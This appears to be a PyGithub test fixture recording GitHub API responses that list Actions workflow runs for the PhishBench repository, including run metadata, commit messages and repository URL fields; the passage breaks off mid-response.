././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest2408.test_get_workflow_runs.txt0000644000175100001660000137653314756101563026362 0ustar00runnerdockerhttps GET api.github.com None /repos/ReDASers/PhishBench/actions/runs?head_sha=7aab33f4294ba5141f17bed0aeb1a929f7afc155 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 30 Jan 2023 20:44:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"724b15d3417b0c51d3a3d8caeeb1e010551b05b9dca24c6060352397893a3908"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '57'), ('X-RateLimit-Reset', '1675115093'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B05E:60A8:540E2:558E4:63D82C46')] {"total_count":2,"workflow_runs":[{"id":720994709,"name":"Unit Test","node_id":"MDExOldvcmtmbG93UnVuNzIwOTk0NzA5","head_branch":"master","head_sha":"7aab33f4294ba5141f17bed0aeb1a929f7afc155","path":".github/workflows/Unit_Test.yml","display_title":"URL Features Documentation (#299)","run_number":121,"event":"push","status":"completed","conclusion":"success","workflow_id":4477711,"check_suite_id":2426381396,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUyNDI2MzgxMzk2","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994709","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/720994709","pull_requests":[],"created_at":"2021-04-06T01:40:33Z","updated_at":"2021-04-06T01:53:34Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2021-04-06T01:41:03Z","jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994709/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994709/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/2426381396","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994709/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994709/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994709/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/4477711","head_commit":{"id":"7aab33f4294ba5141f17bed0aeb1a929f7afc155","tree_id":"9fa55126b819803b1b35c238d436c20142d1996b","message":"URL Features Documentation (#299)\n\n* Updated Citation\r\n\r\n* register_feature now sets the doc-string.\r\n\r\n* Fixed docstring for has_www_in_middle\r\n\r\n* Removed features.rst\r\n\r\n* renamed feature functions to match config names\r\n\r\n* Documentation for URL features\r\n\r\n* Headers\r\n\r\n* Updated unit tests\r\n\r\n* Renamed number_of_scripts function\r\n\r\n* Fixed docstrings\r\n\r\n* Documentation for other URL features","timestamp":"2021-04-06T01:40:32Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":720994708,"name":"Integration Test","node_id":"MDExOldvcmtmbG93UnVuNzIwOTk0NzA4","head_branch":"master","head_sha":"7aab33f4294ba5141f17bed0aeb1a929f7afc155","path":".github/workflows/Integration_Test.yml","display_title":"URL Features Documentation (#299)","run_number":121,"event":"push","status":"completed","conclusion":"success","workflow_id":4477712,"check_suite_id":2426381395,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUyNDI2MzgxMzk1","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994708","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/720994708","pull_requests":[],"created_at":"2021-04-06T01:40:33Z","updated_at":"2021-04-06T02:37:49Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2021-04-06T01:53:52Z","jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994708/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994708/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/2426381395","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994708/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994708/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/720994708/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/4477712","head_commit":{"id":"7aab33f4294ba5141f17bed0aeb1a929f7afc155","tree_id":"9fa55126b819803b1b35c238d436c20142d1996b","message":"URL Features Documentation (#299)\n\n* Updated Citation\r\n\r\n* register_feature now sets the doc-string.\r\n\r\n* Fixed docstring for has_www_in_middle\r\n\r\n* Removed features.rst\r\n\r\n* renamed feature functions to match config names\r\n\r\n* Documentation for URL features\r\n\r\n* Headers\r\n\r\n* Updated unit tests\r\n\r\n* Renamed number_of_scripts function\r\n\r\n* Fixed docstrings\r\n\r\n* Documentation for other URL features","timestamp":"2021-04-06T01:40:32Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}}]} https GET api.github.com None /repos/ReDASers/PhishBench/actions/runs?exclude_pull_requests=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 30 Jan 2023 20:44:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b8af64bee7c5c50252bce772c6d57b8442a3114a5d1f24bc92b588e7f0276820"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '56'), ('X-RateLimit-Reset', '1675115093'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B06C:D40B:52332:53B0A:63D82C46')] {"total_count":593,"workflow_runs":[{"id":3519037359,"name":"Website TF-IDF Integration Test","node_id":"WFR_kwLOCLXpC87RwD-v","head_branch":"dependabot/pip/tensorflow-2.9.3","head_sha":"046bb53f4a15b7d50a5a33f79c23facac7827ad6","path":".github/workflows/Website_Tfidf_Integration_Test.yml","display_title":"Bump tensorflow from 2.7.2 to 2.9.3","run_number":103,"event":"push","status":"completed","conclusion":"success","workflow_id":12794729,"check_suite_id":9433173716,"check_suite_node_id":"CS_kwDOCLXpC88AAAACMkLO1A","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/3519037359","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/3519037359","pull_requests":[],"created_at":"2022-11-21T23:43:05Z","updated_at":"2022-11-22T00:06:06Z","actor":{"login":"dependabot[bot]","id":49699333,"node_id":"MDM6Qm90NDk2OTkzMzM=","avatar_url":"https://avatars.githubusercontent.com/in/29110?v=4","gravatar_id":"","url":"https://api.github.com/users/dependabot%5Bbot%5D","html_url":"https://github.com/apps/dependabot","followers_url":"https://api.github.com/users/dependabot%5Bbot%5D/followers","following_url":"https://api.github.com/users/dependabot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/dependabot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/dependabot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dependabot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/dependabot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/dependabot%5Bbot%5D/repos","events_url":"https://api.github.com/users/dependabot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/dependabot%5Bbot%5D/received_events","type":"Bot","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-11-21T23:43:05Z","triggering_actor":{"login":"dependabot[bot]","id":49699333,"node_id":"MDM6Qm90NDk2OTkzMzM=","avatar_url":"https://avatars.githubusercontent.com/in/29110?v=4","gravatar_id":"","url":"https://api.github.com/users/dependabot%5Bbot%5D","html_url":"https://github.com/apps/dependabot","followers_url":"https://api.github.com/users/dependabot%5Bbot%5D/followers","following_url":"https://api.github.com/users/dependabot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/dependabot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/dependabot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dependabot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/dependabot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/dependabot%5Bbot%5D/repos","events_url":"https://api.github.com/users/dependabot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/dependabot%5Bbot%5D/received_events","type":"Bot","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/3519037359/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/3519037359/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/9433173716","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/3519037359/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/3519037359/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/3519037359/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794729","head_commit":{"id":"046bb53f4a15b7d50a5a33f79c23facac7827ad6","tree_id":"5c751a7a940202a285e3f74e02a1bf4d182d25cc","message":"Bump tensorflow from 2.7.2 to 2.9.3\n\nBumps [tensorflow](https://github.com/tensorflow/tensorflow) from 2.7.2 to 2.9.3.\n- [Release notes](https://github.com/tensorflow/tensorflow/releases)\n- [Changelog](https://github.com/tensorflow/tensorflow/blob/master/RELEASE.md)\n- [Commits](https://github.com/tensorflow/tensorflow/compare/v2.7.2...v2.9.3)\n\n---\nupdated-dependencies:\n- dependency-name: tensorflow\n dependency-type: direct:production\n...\n\nSigned-off-by: dependabot[bot] ","timestamp":"2022-11-21T23:43:02Z","author":{"name":"dependabot[bot]","email":"49699333+dependabot[bot]@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/user